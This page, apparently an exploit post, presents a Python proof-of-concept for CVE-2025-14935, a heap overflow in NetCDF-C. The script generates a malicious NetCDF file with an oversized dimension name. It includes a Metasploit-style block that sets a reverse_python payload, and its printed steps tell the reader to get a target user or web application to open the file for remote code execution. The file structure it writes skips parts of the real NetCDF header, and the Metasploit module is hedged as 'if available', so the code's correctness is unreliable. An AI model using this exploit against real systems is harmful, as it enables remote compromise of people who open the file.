CVE-2025-14935 Unidata NetCDF-C 堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14935 PoC - Malicious NetCDF file generator # This PoC demonstrates the heap buffer overflow in NetCDF-C dimension name parsing # Note: This is for educational and security research purposes only import struct import sys def create_malicious_netcdf(output_file): """ Generate a malicious NetCDF file with an oversized dimension name to trigger the heap buffer overflow vulnerability (CVE-2025-14935) """ # NetCDF magic number magic = b'CDF\x01' # NetCDF classic format # Dimension name that exceeds expected buffer size # This triggers the heap buffer overflow in dimension name parsing oversized_dimension_name = b'A' * 10000 # 10000 bytes, exceeds typical buffer # Build the malicious NetCDF file structure with open(output_file, 'wb') as f: # Write NetCDF header f.write(magic) # Write numrecs (4 bytes) - number of records f.write(struct.pack('>I', 0)) # Write dimension name with length prefix dim_name_len = len(oversized_dimension_name) f.write(struct.pack('>I', dim_name_len)) # Dimension name length f.write(oversized_dimension_name) # Oversized dimension name # Write dimension size f.write(struct.pack('>I', 0)) print(f"[+] Malicious NetCDF file created: {output_file}") print(f"[+] Oversized dimension name length: {len(oversized_dimension_name)} bytes") print(f"[!] This file can trigger CVE-2025-14935 when opened by vulnerable NetCDF-C version") def create_python_ncgen_poc(): """ Alternative PoC using Python netCDF4 library to create malicious file """ poc_code = ''' #!/usr/bin/env python3 # CVE-2025-14935 PoC - Trigger via netCDF4 Python library try: from netCDF4 import Dataset import numpy as np # Create malicious NetCDF file with oversized dimension name # This simulates what an attacker could do to trigger the vulnerability ncfile = Dataset('malicious_cve_2025_14935.nc', mode='w', format='NETCDF3_CLASSIC') # Create dimension with very long name to trigger overflow # The vulnerability exists in the C library parsing, not Python binding long_dim_name = 'A' * 10000 # This will trigger the overflow when opened by vulnerable C library ncfile.createDimension(long_dim_name, 0) ncfile.close() print("[+] Malicious file created: malicious_cve_2025_14935.nc") except ImportError: print("[!] netCDF4 library not installed. Install with: pip install netCDF4") # Metasploit module reference (if available in framework): # use exploit/multi/misc/cve_2025_14935_netcdf_overflow # set RHOSTS target_ip # set PAYLOAD cmd/unix/reverse_python # exploit ''' return poc_code if __name__ == '__main__': print("CVE-2025-14935 PoC Generator") print("=" * 50) if len(sys.argv) > 1: create_malicious_netcdf(sys.argv[1]) else: create_malicious_netcdf('malicious_cve_2025_14935.nc') print("\n[*] To trigger the vulnerability:") print(" 1. Have target user open this file with vulnerable NetCDF-C application") print(" 2. Or use a web application that processes NetCDF files") print(" 3. The heap overflow can lead to RCE under current user context")